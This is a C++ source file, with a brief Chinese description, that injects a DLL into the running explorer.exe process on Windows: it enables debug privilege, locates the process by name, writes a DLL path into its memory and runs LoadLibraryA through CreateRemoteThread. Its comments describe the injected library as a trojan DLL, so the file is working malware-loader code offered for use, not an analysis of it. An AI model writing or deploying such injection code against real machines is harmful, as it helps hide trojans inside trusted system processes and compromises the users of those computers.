excuteinjectdlltest.cpp

一个利用远程进程开启dll的源程序；功能：搜索系统进程id

// ExcuteDllTest.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include <tlhelp32.h>

int EnableDebugPriv(const char * name)
{
	HANDLE hToken;
	TOKEN_PRIVILEGES tp;
	LUID luid;
	//打开进程令牌环
	if(!OpenProcessToken(GetCurrentProcess(),
					TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
					&hToken) )
	{
		printf("OpenProcessToken error.\n");
		return 1;
	}
	//获得进程本地唯一ID
	if(!LookupPrivilegeValue(NULL,name,&luid) )
	{
		printf("LookupPrivilege error!\n");
	}

	tp.PrivilegeCount = 1;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	tp.Privileges[0].Luid = luid;
	//调整权限
	if(!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL) )
	{
		printf("AdjustTokenPrivileges error!\n");
		return 1;
	}

	return 0;
}

BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
{
	HANDLE hRemoteProcess;

	if(EnableDebugPriv(SE_DEBUG_NAME))
	{
		printf("add privilege error");
		return FALSE;
	}

	//打开远程线程
	if( (hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允许远程创建线程
							PROCESS_VM_OPERATION | //允许远程VM操作
							PROCESS_VM_WRITE,//允许远程VM写
							FALSE, dwRemoteProcessId ) )== NULL )
	{
		printf("OpenProcess error!\n");
		return FALSE;
	}

	char *pszLibFileRemote;
	//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
	pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)+1, 
							MEM_COMMIT, PAGE_READWRITE);
	if(pszLibFileRemote == NULL)
	{
		printf("VirtualAllocEx error!\n");
		return FALSE;
	}

	//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
	if( WriteProcessMemory(hRemoteProcess,
				pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL) == 0)
	{
		printf("WriteProcessMemory error!\n");
		return FALSE;
	}

	//计算LoadLibraryA的入口地址
	PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
			GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");

	if(pfnStartAddr == NULL)
	{
		printf("GetProcAddress error!\n");
		return FALSE;
	}

	//建立远程线程时的地址pfnStartAddr（实际上就是LoadLibraryA的入口地址）
	//和传递的参数pszLibFileRemote（实际上是我们复制过去的木马DLL的全路径文件名）在远程进程内启动我们的木马DLL：
	//启动远程线程LoadLibraryA，通过远程线程调用用户的DLL文件
	HANDLE hRemoteThread;
	if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, 
				pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL)
	{
		printf("CreateRemoteThread error!\n");
		return FALSE;
	}

	return TRUE;
}


unsigned long getprocid(char *pn)
{
    BOOL b;
    HANDLE hnd;
    PROCESSENTRY32 pe;

    hnd=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

    pe.dwSize=sizeof(pe);
    b=Process32First(hnd,&pe);
    while(b)
    {
        if(strcmp(pn,pe.szExeFile)==0)return pe.th32ProcessID;
        b=Process32Next(hnd,&pe);
    }

    return 0;
}


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
	DWORD procid;
    procid=getprocid("explorer.exe");/*得到进程PID*/
	if(procid==0) 
		return 1;

 	if( InjectDll("c:\\DllTest.dll",procid) )
	{
		printf("Inject OK!\n");
	}
	else
	{
		printf("Inject Fail!\n");
	}
	return 0;
}